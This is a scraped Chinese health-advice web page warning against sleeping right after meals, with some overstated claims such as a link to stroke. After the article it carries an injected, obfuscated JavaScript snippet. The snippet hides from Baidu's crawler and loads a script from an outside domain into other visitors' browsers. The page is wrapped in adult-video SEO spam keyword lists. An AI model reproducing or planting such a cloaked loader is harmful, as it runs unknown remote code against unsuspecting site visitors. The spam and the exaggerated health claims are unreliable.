久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

吃完飯就躺著對身體好嗎?

2017-04-21 19:48:09  來源:360常識網   熱度:
導語:現在的人們多數都有午休的習慣,所以很多剛剛吃完午飯后,就會往床上一躺睡覺。剛剛吃晚飯后就馬上睡覺也是很不好的習慣,不僅僅是午飯的時

現在的人們多數都有午休的習慣,所以很多剛剛吃完午飯后,就會往床上一躺睡覺。剛剛吃晚飯后就馬上睡覺也是很不好的習慣,不僅僅是午飯的時候這樣,剛剛吃完晚飯后也是不適合馬上睡覺的,這樣不僅僅是會發胖,而且會給身體帶來很多不必要的麻煩,像是肚子痛,脹氣,嚴重的話,是會導致中風現象的發生。

吃完飯馬上就睡覺的壞處有哪些

保健養生專家建議大家剛剛吃完飯不要馬上睡覺,原因如下:

一、容易發胖。

人的胃是在下半夜進行修復更新的,如果睡前還吃東西,特別是吃些人類最不善消化的肉類食物,因肉類食物要四五個小時以上才能使胃排空,睡后胃的蠕動又慢,肉類食物又是酸性食物,那些酸性食物整晚都在胃和腸里熬著,長期這樣對胃非常不好,所以睡前最好不要吃東西,如果太餓不會睡也可喝杯牛奶,它容易消化又會幫助睡眠。

二、容易引起食欲不振 食物在胃里儲存過久會引起脹氣,是人產生飽脹感,影像下一頓的食欲。

三、容易引發中風

食物囤積在胃部,會使大腦的血液流向胃部,由于血壓降低,大腦的供氧量也隨之減少,造成飯后極度疲倦,易引起心口灼熱,大腦供血不足也容易引發中風。

四、容易消化不良 飯后就睡覺,腸胃蠕動減慢,消化粘膜對食物的消化能力減弱,容易引發消化不良,而且飯后就睡覺有患食管反流病的危險。

保健專家所介紹的這篇文章是不是讓大家嚇一跳呢?本來以為累一天了,可以舒服的睡覺,竟然成了這么多麻煩的引發因素,所以在這里,小編要特別的提醒大家,飯后做一些輕微的運動,比如散步,慢走等,都是有助于消化,幫助吸收,能夠讓大家避免很多困擾的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 一区二区精品 | 欧美激情精品久久久久久 | 福利精品视频 | 久久国产综合 | 日韩一区中文字幕 | 超碰超碰在线观看 | 国产精精品 | 亚洲视频一二区 | 欧美日韩国产不卡 | 国产伦理精品一区二区三区观看体验 | 久久久99精品免费观看 | 天堂动漫 | 日韩成人免费 | 日韩精品一区二区三区在线 | 欧美日本国产欧美日本韩国99 | 福利视频一区二区 | 亚洲欧美第一页 | 午夜av亚洲女人剧场se | 亚洲这里只有精品 | 四虎免费在线播放 | 欧洲亚洲精品久久久久 | av成人在线观看 | 精品国产91乱码一区二区三区 | 欧美日韩国产精品一区二区亚洲 | 伊人色播| 一呦二呦三呦国产精品 | 亚洲精品99久久久久中文字幕 | 一区二区不卡在线观看 | 日韩理论视频 | 狠狠躁夜夜躁人人爽天天高潮 | 涩涩片影院 | 午夜视频你懂的 | 欧美精品一区在线发布 | 久草成人网| 成人黄页在线观看 | 午夜天堂精品久久久久 | 国产欧美在线观看 | 国产探花在线看 | 一本一本久久a久久精品牛牛影视 | 亚洲黄色在线观看 | 日本视频三区 |